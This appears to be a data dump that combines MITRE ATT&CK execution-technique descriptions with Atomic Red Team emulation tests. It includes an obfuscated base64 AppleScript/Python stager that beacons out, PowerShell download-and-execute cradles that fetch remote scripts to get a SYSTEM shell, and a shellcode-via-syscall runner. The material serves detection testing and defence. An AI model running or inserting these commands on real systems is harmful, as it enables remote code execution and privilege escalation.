https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1059.002 atomic_tests: - name: AppleScript auto_generated_guid: 3600d97d-81b9-4171-ab96-e4386506e2c2 description: "Shell Script with AppleScript. The encoded python script will perform an HTTP GET request to 127.0.0.1:80 with a session cookie of \"t3VhVOs/DyCcDTFzIKanRxkvk3I=\", unless 'Little Snitch' is installed, in which case it will just exit. \nYou can use netcat to listen for the connection and verify execution, e.g. use \"nc -l 80\" in another terminal window before executing this test and watch for the request.\n\nReference: https://github.com/EmpireProject/Empire\n" supported_platforms: - macos executor: command: 'osascript -e "do shell script \"echo \\\"import sys,base64,warnings;warnings.filterwarnings(''ignore'');exec(base64.b64decode(''aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLnN0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMjcuMC4wLjE6ODAnO3Q9Jy9sb2dpbi9wcm9jZXNzLnBocCc7cmVxPXVybGxpYjIuUmVxdWVzdChzZXJ2ZXIrdCk7CnJlcS5hZGRfaGVhZGVyKCdVc2VyLUFnZW50JyxVQSk7CnJlcS5hZGRfaGVhZGVyKCdDb29raWUnLCJzZXNzaW9uPXQzVmhWT3MvRHlDY0RURnpJS2FuUnhrdmszST0iKTsKcHJveHkgPSB1cmxsaWIyLlByb3h5SGFuZGxlcigpOwpvID0gdXJsbGliMi5idWlsZF9vcGVuZXIocHJveHkpOwp1cmxsaWIyLmluc3RhbGxfb3BlbmVyKG8pOwphPXVybGxpYjIudXJsb3BlbihyZXEsdGltZW91dD0zKS5yZWFkKCk7Cg==''));\\\" | python &\"" ' name: sh T1106: technique: modified: '2023-10-13T16:01:07.538Z' name: Native API description: |- Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations. Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. Native API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC) Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation) Adversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution x_mitre_contributors: - Gordon Long, Box, Inc., @ethicalhax - Stefan Kanthak - Tristan Madani (Cybereason) x_mitre_deprecated: false x_mitre_detection: "Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. \n\nUtilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. " x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - macOS - Linux x_mitre_version: '2.2' x_mitre_data_sources: - 'Process: OS API Execution' - 'Module: Module Load' x_mitre_remote_support: false type: attack-pattern id: attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670 created: '2017-05-31T21:31:17.472Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1106 external_id: T1106 - source_name: MACOS Cocoa description: Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020. url: https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1 - source_name: Apple Core Services description: Apple. (n.d.). Core Services. Retrieved June 25, 2020. url: https://developer.apple.com/documentation/coreservices - source_name: macOS Foundation description: Apple. (n.d.). Foundation. Retrieved July 1, 2020. url: https://developer.apple.com/documentation/foundation - source_name: OutFlank System Calls description: 'de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.' url: https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/ - source_name: Redops Syscalls description: Feichter, D. (2023, June 30). Direct Syscalls vs Indirect Syscalls. Retrieved September 27, 2023. url: https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls - source_name: GNU Fork description: Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020. url: https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html - source_name: CyberBit System Calls description: Gavriel, H. (2018, November 27). Malware Mitigation when Direct System Calls are Used. Retrieved September 29, 2021. url: https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/ - source_name: GLIBC description: glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020. url: https://www.gnu.org/software/libc/ - source_name: LIBC description: Kerrisk, M. (2016, December 12). libc(7) — Linux manual page. Retrieved June 25, 2020. url: https://man7.org/linux/man-pages//man7/libc.7.html - source_name: Linux Kernel API description: Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API. Retrieved June 25, 2020. url: https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html - source_name: MDSec System Calls description: MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021. url: https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/ - source_name: Microsoft CreateProcess description: Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014. url: http://msdn.microsoft.com/en-us/library/ms682425 - source_name: Microsoft Win32 description: Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020. url: https://docs.microsoft.com/en-us/windows/win32/api/ - source_name: Microsoft NET description: Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020. url: https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework - source_name: NT API Windows description: The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25, 2020. url: https://undocumented.ntinternals.net/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1106 atomic_tests: - name: Execution through API - CreateProcess auto_generated_guid: 99be2089-c52d-4a4a-b5c3-261ee42c8b62 description: Execute program by leveraging Win32 API's. By default, this will launch calc.exe from the command prompt. supported_platforms: - windows input_arguments: source_file: description: Location of the CSharp source file to compile and execute type: path default: PathToAtomicsFolder\T1106\src\CreateProcess.cs output_file: description: Location of the payload type: path default: "%tmp%\\T1106.exe" dependency_executor_name: powershell dependencies: - description: "#{source_file} must exist on system.\n" prereq_command: 'if (Test-Path "#{source_file}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{source_file}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1106/src/CreateProcess.cs" -OutFile "#{source_file}" executor: command: | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:"#{output_file}" /target:exe "#{source_file}" %tmp%/T1106.exe name: command_prompt - name: WinPwn - Get SYSTEM shell - Pop System Shell using CreateProcess technique auto_generated_guid: ce4e76e6-de70-4392-9efe-b281fc2b4087 description: Get SYSTEM shell - Pop System Shell using CreateProcess technique via function of WinPwn supported_platforms: - windows executor: command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/CreateProcess/Get-CreateProcessSystem.ps1') name: powershell - name: WinPwn - Get SYSTEM shell - Bind System Shell using CreateProcess technique auto_generated_guid: 7ec5b74e-8289-4ff2-a162-b6f286a33abd description: Get SYSTEM shell - Bind System Shell using CreateProcess technique via function of WinPwn supported_platforms: - windows executor: command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/CreateProcess/Get-CreateProcessSystemBind.ps1') name: powershell - name: WinPwn - Get SYSTEM shell - Pop System Shell using NamedPipe Impersonation technique auto_generated_guid: e1f93a06-1649-4f07-89a8-f57279a7d60e description: Get SYSTEM shell - Pop System Shell using NamedPipe Impersonation technique via function of WinPwn supported_platforms: - windows executor: command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/NamedPipe/NamedPipeSystem.ps1') name: powershell - name: Run Shellcode via Syscall in Go auto_generated_guid: ae56083f-28d0-417d-84da-df4242da1f7c description: | Runs shellcode in the current running process via a syscall. Steps taken with this technique 1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write 2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space 3. Change the memory page permissions to Execute/Read with VirtualProtect 4. Use syscall to execute the entrypoint of the shellcode - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#syscall) supported_platforms: - windows executor: name: powershell elevation_required: false command: "$PathToAtomicsFolder\\T1106\\bin\\x64\\syscall.exe -debug\n" cleanup_command: Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue T1059.010: technique: modified: '2024-04-10T16:05:22.456Z' name: AutoHotKey & AutoIT description: |- Adversaries may execute commands and perform malicious tasks using AutoIT and AutoHotKey automation scripts. AutoIT and AutoHotkey (AHK) are scripting languages that enable users to automate Windows tasks. These automation scripts can be used to perform a wide variety of actions, such as clicking on buttons, entering text, and opening and closing programs.(Citation: AutoIT)(Citation: AutoHotKey) Adversaries may use AHK (`.ahk`) and AutoIT (`.au3`) scripts to execute malicious code on a victim's system. For example, adversaries have used for AHK to execute payloads and other modular malware such as keyloggers. Adversaries have also used custom AHK files containing embedded malware as [Phishing](https://attack.mitre.org/techniques/T1566) payloads.(Citation: Splunk DarkGate) These scripts may also be compiled into self-contained exectuable payloads (`.exe`).(Citation: AutoIT)(Citation: AutoHotKey) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution x_mitre_contributors: - TruKno - Liran Ravich, CardinalOps - Serhii Melnyk, Trustwave SpiderLabs - Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International - Monty x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' x_mitre_remote_support: false type: attack-pattern id: attack-pattern--3a32740a-11b0-4bcf-b0a9-3abd0f6d3cd5 created: '2024-03-29T18:07:04.743Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1059/010 external_id: T1059.010 - source_name: AutoHotKey description: AutoHotkey Foundation LLC. (n.d.). Using the Program. Retrieved March 29, 2024. url: https://www.autohotkey.com/docs/v1/Program.htm - source_name: AutoIT description: AutoIT. (n.d.). Running Scripts. Retrieved March 29, 2024. url: https://www.autoitscript.com/autoit3/docs/intro/running.htm - source_name: Splunk DarkGate description: 'Splunk Threat Research Team. (2024, January 17). Enter The Gates: An Analysis of the DarkGate AutoIt Loader. Retrieved March 29, 2024.' url: https://www.splunk.com/en_us/blog/security/enter-the-gates-an-analysis-of-the-darkgate-autoit-loader.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1059.009: technique: modified: '2023-05-09T14:00:00.188Z' name: Cloud API description: "Adversaries may abuse cloud APIs to execute malicious commands. APIs available in cloud environments provide various functionalities and are a feature-rich method for programmatic access to nearly all aspects of a tenant. These APIs may be utilized through various methods such as command line interpreters (CLIs), in-browser Cloud Shells, [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules like Azure for PowerShell(Citation: Microsoft - Azure PowerShell), or software developer kits (SDKs) available for languages such as [Python](https://attack.mitre.org/techniques/T1059/006). \ \n\nCloud API functionality may allow for administrative access across all major services in a tenant such as compute, storage, identity and access management (IAM), networking, and security policies.\n\nWith proper permissions (often via use of credentials such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001) and [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), adversaries may abuse cloud APIs to invoke various functions that execute malicious actions. For example, CLI and PowerShell functionality may be accessed through binaries installed on cloud-hosted or on-premises hosts or accessed through a browser-based cloud shell offered by many cloud platforms (such as AWS, Azure, and GCP). These cloud shells are often a packaged unified environment to use CLI and/or scripting modules hosted as a container in the cloud environment. \ " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution x_mitre_contributors: - Ozan Olali - Nichols Jasper - Jason Sevilla - Marcus Weeks - Caio Silva x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - IaaS - Azure AD - Office 365 - SaaS - Google Workspace x_mitre_version: '1.0' x_mitre_data_sources: - 'Command: Command Execution' x_mitre_remote_support: false type: attack-pattern id: attack-pattern--55bb4471-ff1f-43b4-88c1-c9384ec47abf created: '2022-03-17T13:28:24.989Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1059/009 external_id: T1059.009 - source_name: Microsoft - Azure PowerShell description: Microsoft. (2014, December 12). Azure/azure-powershell. Retrieved March 24, 2023. url: https://github.com/Azure/azure-powershell object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1610: technique: modified: '2024-04-11T21:24:42.680Z' name: Deploy a container description: |- Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to [Escape to Host](https://attack.mitre.org/techniques/T1611) and access other containers running on the node. (Citation: AppSecco Kubernetes Namespace Breakout 2020) Containers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow. (Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes.(Citation: Kubernetes Workload Management) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: execution x_mitre_contributors: - Pawan Kinger, @kingerpawan, Trend Micro - Alfredo Oliveira, Trend Micro - Idan Frimark, Cisco - Center for Threat-Informed Defense (CTID) - Magno Logan, @magnologan, Trend Micro - Ariel Shuper, Cisco - Vishwas Manral, McAfee - Yossi Weizman, Azure Defender Research Team - Joas Antonio dos Santos, @C0d3Cr4zy x_mitre_deprecated: false x_mitre_detection: Monitor for suspicious or unknown container images and pods in your environment. Deploy logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application pods to detect malicious activity at the cluster level. In Docker, the daemon log provides insight into remote API calls, including those that deploy containers. Logs for management services or applications used to deploy containers other than the native technologies themselves should also be monitored. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Containers x_mitre_version: '1.3' x_mitre_data_sources: - 'Container: Container Start' - 'Application Log: Application Log Content' - 'Pod: Pod Creation' - 'Container: Container Creation' - 'Pod: Pod Modification' x_mitre_remote_support: true type: attack-pattern id: attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92 created: '2021-03-29T16:51:26.020Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1610 external_id: T1610 - source_name: AppSecco Kubernetes Namespace Breakout 2020 description: Abhisek Datta. (2020, March 18). Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1. Retrieved January 16, 2024. url: https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216 - source_name: Aqua Build Images on Hosts description: 'Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.' url: https://blog.aquasec.com/malicious-container-image-docker-container-host - source_name: Docker Containers API description: Docker. (n.d.). Docker Engine API v1.41 Reference - Container. Retrieved March 29, 2021. url: https://docs.docker.com/engine/api/v1.41/#tag/Container - source_name: Kubernetes Workload Management description: Kubernetes. (n.d.). Workload Management. Retrieved March 28, 2024. url: https://kubernetes.io/docs/concepts/workloads/controllers/ - source_name: Kubeflow Pipelines description: The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines. Retrieved March 29, 2021. url: https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/ - source_name: Kubernetes Dashboard description: The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard). Retrieved March 29, 2021. url: https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1610 atomic_tests: - name: Deploy Docker container auto_generated_guid: 59aa6f26-7620-417e-9318-589e0fb7a372 description: "Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime. They can do this using docker create and docker start commands. Kinsing & Doki was exploited using this technique. \n" supported_platforms: - containers dependency_executor_name: sh dependencies: - description: Verify docker is installed. prereq_command: 'which docker ' get_prereq_command: 'if [ "" == "`which docker`" ]; then echo "Docker Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else echo "Docker installed"; fi ' - description: Verify docker service is running. prereq_command: 'sudo systemctl status docker --no-pager ' get_prereq_command: 'sudo systemctl start docker ' executor: command: | docker build -t t1610 $PathtoAtomicsFolder/T1610/src/ docker run --name t1610_container --rm -itd t1610 bash /tmp/script.sh name: bash cleanup_command: "docker stop t1610_container\ndocker rmi -f t1610:latest \n" T1059: technique: modified: '2023-05-09T14:00:00.188Z' name: Command and Scripting Interpreter description: |- Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005). Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution x_mitre_deprecated: false x_mitre_detection: |- Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Network - Office 365 - Azure AD - IaaS - Google Workspace x_mitre_version: '2.4' x_mitre_data_sources: - 'Script: Script Execution' - 'Process: Process Creation' - 'Process: Process Metadata' - 'Module: Module Load' - 'Command: Command Execution' x_mitre_remote_support: true type: attack-pattern id: attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830 created: '2017-05-31T21:30:49.546Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1059 external_id: T1059 - source_name: Remote Shell Execution in Python description: Abdou Rockikz. (2020, July). How to Execute Shell Commands in a Remote Machine in Python. Retrieved July 26, 2021. url: https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python - source_name: Cisco IOS Software Integrity Assurance - Command History description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020. url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#23 - source_name: Powershell Remote Commands description: Microsoft. (2020, August 21). Running Remote Commands. Retrieved July 26, 2021. url: https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1059 atomic_tests: - name: AutoIt Script Execution auto_generated_guid: a9b93f17-31cb-435d-a462-5e838a2a6026 description: 'An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully. ' supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'AutoIt executable file must exist on disk at the specified location (#{autoit_path}) ' prereq_command: | if(Test-Path "#{autoit_path}") { exit 0 } else { exit 1 } get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null $AutoItURL = "https://www.autoitscript.com/cgi-bin/getfile.pl?autoit3/autoit-v3-setup.exe" $InstallerPath = "$PathToAtomicsFolder\..\ExternalPayloads\autoit-v3-setup.exe" Invoke-WebRequest -Uri $AutoItURL -OutFile $InstallerPath Start-Process -FilePath $InstallerPath -ArgumentList "/S" -Wait input_arguments: script_path: description: AutoIt Script Path type: path default: PathToAtomicsFolder\T1059\src\calc.au3 autoit_path: description: AutoIt Executable File Path type: path default: C:\Program Files (x86)\AutoIt3\AutoIt3.exe executor: command: 'Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}" ' name: powershell T1609: technique: modified: '2023-05-09T14:00:00.188Z' name: Kubernetes Exec Into Container description: |- Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet) In Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as docker exec to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as kubectl exec.(Citation: Kubectl Exec Get Shell) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution x_mitre_contributors: - Alfredo Oliveira, Trend Micro - David Fiser, @anu4is, Trend Micro - Brad Geesaman, @bradgeesaman - Center for Threat-Informed Defense (CTID) - Magno Logan, @magnologan, Trend Micro - Vishwas Manral, McAfee - Yossi Weizman, Azure Defender Research Team x_mitre_deprecated: false x_mitre_detection: 'Container administration service activities and executed commands can be captured through logging of process execution with command-line arguments on the container and the underlying host. In Docker, the daemon log provides insight into events at the daemon and container service level. Kubernetes system component logs may also detect activities running in and out of containers in the cluster. ' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Containers x_mitre_version: '1.2' x_mitre_data_sources: - 'Command: Command Execution' - 'Process: Process Creation' x_mitre_remote_support: true type: attack-pattern id: attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1 created: '2021-03-29T16:39:26.183Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1609 external_id: T1609 - source_name: Docker Exec description: Docker. (n.d.). Docker Exec. Retrieved March 29, 2021. url: https://docs.docker.com/engine/reference/commandline/exec/ - source_name: Docker Entrypoint description: Docker. (n.d.). Docker run reference. Retrieved March 29, 2021. url: https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime - source_name: Docker Daemon CLI description: Docker. (n.d.). DockerD CLI. Retrieved March 29, 2021. url: https://docs.docker.com/engine/reference/commandline/dockerd/ - source_name: Kubectl Exec Get Shell description: The Kubernetes Authors. (n.d.). Get a Shell to a Running Container. Retrieved March 29, 2021. url: https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/ - source_name: Kubernetes Kubelet description: The Kubernetes Authors. (n.d.). Kubelet. Retrieved March 29, 2021. url: https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/ - source_name: Kubernetes API description: The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021. url: https://kubernetes.io/docs/concepts/overview/kubernetes-api/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1609 atomic_tests: - name: ExecIntoContainer auto_generated_guid: d03bfcd3-ed87-49c8-8880-44bb772dea4b description: 'Attackers who have permissions, can run malicious commands in containers in the cluster using exec command (“kubectl exec”). In this method, attackers can use legitimate images, such as an OS image (e.g., Ubuntu) as a backdoor container, and run their malicious code remotely by using “kubectl exec”. ' supported_platforms: - containers input_arguments: namespace: description: K8s namespace to use type: string default: default command: description: Command to run type: string default: uname path: description: Path to busybox.yaml file type: string default: "$PathtoAtomicsFolder/T1609/src/busybox.yaml" dependencies: - description: 'kubectl must be installed ' get_prereq_command: 'echo "kubectl must be installed manually" ' prereq_command: 'which kubectl ' executor: command: | kubectl create -f #{path} -n #{namespace} # wait 3 seconds for the instance to come up sleep 3 kubectl exec -n #{namespace} busybox -- #{command} cleanup_command: 'kubectl delete pod busybox -n #{namespace} ' name: bash elevation_required: false - name: Docker Exec Into Container auto_generated_guid: 900e2c49-221b-42ec-ae3c-4717e41e6219 description: 'Attackers who have permissions, can run malicious commands in containers in the cluster using exec command (“docker exec”). In this method, attackers can use legitimate images, such as an OS image (e.g., Ubuntu) as a backdoor container, and run their malicious code 